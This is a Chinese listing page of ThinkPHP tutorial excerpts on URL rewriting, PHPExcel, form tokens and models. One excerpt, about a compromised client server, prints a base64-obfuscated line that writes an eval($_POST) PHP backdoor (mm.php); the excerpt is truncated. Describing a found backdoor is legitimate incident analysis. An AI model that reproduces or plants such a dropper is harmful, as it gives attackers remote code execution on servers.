thinkphp 相关的软件列表

首页

让Nginx支持ThinkPHP的URL重写和PATHINFO的方法分享

2020-02-16 标签:nginx,支持,thinkphp,url,重写,pathinfo,方法,分享,网上,都不,奏效,研究,发现,通过,以下,配置,完美,model

网上搜了很多方法都不奏效,研究了一天,发现通过以下的配置可以完美支持 'URL_MODEL' => 2 的情况了 实现代码如下: location /project/ { index index.php; if (!-e $request_filename) { rewrite ^/proje

首页

ThinkPHP与PHPExcel冲突解决方法

2020-02-16 标签:thinkphp,phpexcel,冲突,解决方法,很早,之前,知道,有一个,叫做,官方网站,用来,操作,excel,没有机会,尝试,今天,试用,发现,无比

很早之前就知道有一个叫做PHPExcel的类(官方网站)可以用来操作Excel,一直没有机会尝试,今天试用发现无比强大,下载后的源码包里有详细文档,几乎能实现手工操作Excel能实现的一切功能。 一个简单的读取Excel的例子如下: 实现代码如下: $inputFileType = 'Excel20

ThinkPHP 防止表单重复提交的方法
首页

ThinkPHP 防止表单重复提交的方法

2020-02-16 标签:thinkphp,防止,表单,重复,提交,方法,然而,有一种,情况,不了,用户,点击,浏览器,后退,按钮,返回,页面,这个时候,直接,从缓

然而有一种情况,是防止不了的: 用户提交表单以后,点击浏览器后退按钮返回表单页面,这个时候浏览器会直接从缓存中取出页面,因此token验证一定是通不过的。网上有许多种办法可以绕过这个问题,比如用location.replace()方法来替换当前历史记录,但是这样仍然有瑕疵。极端的情况,若用户在页面间

首页

PHP隐形一句话后门,和ThinkPHP框架加密码程序(base64_decode)

2020-02-16 标签:php,隐形,一句话,后门,thinkphp,框架,加密,程序,base,64,decode,今天,客户,服务器,频繁,写入,mm,内容,实现

今天一个客户的服务器频繁被写入: mm.php 内容为: 实现代码如下: 最后查到某文件内的第一行为以下代码: 实现代码如下: fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=

首页

ThinkPHP写第一个模块应用

2020-02-16 标签:thinkphp,第一个,模块,应用,找到,项目,文件夹,下面,lib,action,目录,在下,面有,创建,好的,例子,indexaction,class,php,加入

找到项目文件夹下面的Lib/Action这个目录,在下面有个创建好的例子IndexAction.class.php,加入我们创建的是admin这个项目,那么./admin/Lib/Action/IndexAction.class.php,这个模块是默认加载的模块。在ThinkPHP中,自动加载的动作

首页

ThinkPHP采用模块和操作分析

2020-02-16 标签:thinkphp,采用,模块,操作,分析,任何,web,行为,都可以,认为是,某个,系统,根据,当前,url,执行,工作,调度

任何一个WEB行为都可以认为是一个模块的某个操作,系统会根据当前的URL来分析要执行的模块和操作。这个分析工作由URL调度器来实现,官方内置了Dispatcher类来完成该调度。 在Dispatcher调度器中,会根据 http://servername/appName/moduleName/act

首页

ThinkPHP自动验证失败的解决方法

2020-02-16 标签:thinkphp,自动,验证,失败,解决方法,实现,代码,如下,登陆,public,function,login,post,submit,db,d,自定义,model,处理,里面

实现代码如下: /* * 登陆 */ public function Login(){ if($_POST['submit']){ $DB = D('Login');//自定义Model处理 //if里面就是ThinkPHP的自动验证了. if(!$DB->create()){ $this-&

首页

ThinkPHP中实例Model方法的区别说明

2020-02-16 标签:thinkphp,实例,model,方法,区别,说明,tp,下面,两种,创建,数据,映射,对象,暂时,用到,test,d,第二

在TP中,我们可以用下面两种方法去创建一个数据表的映射对象(我暂时用到的) 第一种:$Test = D('Test') 第二种:$Test = new Model('Test') 虽然这两种都可以对数据进行select,insert,delete,udpate操作,在数据验证上有很大的不同, 我们来

首页

ThinkPHP php 框架学习笔记

2020-02-16 标签:thinkphp,php,框架,学习,笔记,花了,多钟,在看,不想,太过,深入,知道,它的,高深,理论,单纯,想知道,用起来,快捷,搭建

花了两个多钟在看 ThinkPHP 框架,不想太过深入的知道它的所有高深理论。单纯想知道怎么可以用起来,可以快捷的搭建一个网站。所以是有选择的看,二个钟后还是一头雾水。于是决定改变学习策略,上官方论坛看其它高人写的民间教程,果然比官方的通俗易懂多了。http://bbs.thinkphp.cn/fo

首页

开源SNS系统-ThinkSNS

2020-02-16 标签:开源,sns,系统,thinksns,今日,闲逛,落伍,而且是,还没有,详细,网站,介绍,源于,办公,项目,web,基于,国内

今日闲逛落伍,看到thinkSNS,而且是开源的,还没有详细看,网站介绍:ThinkSNS源于办公圈项目,WEB端基于国内技术领先的ThinkPHP框架开发,另外还有IM客户端软件。ThinkSNS亮点免费!开源!全部基于免费的开源项目,同时也作为免费开源项目。针对特殊定制要求提供收费服务。请看详细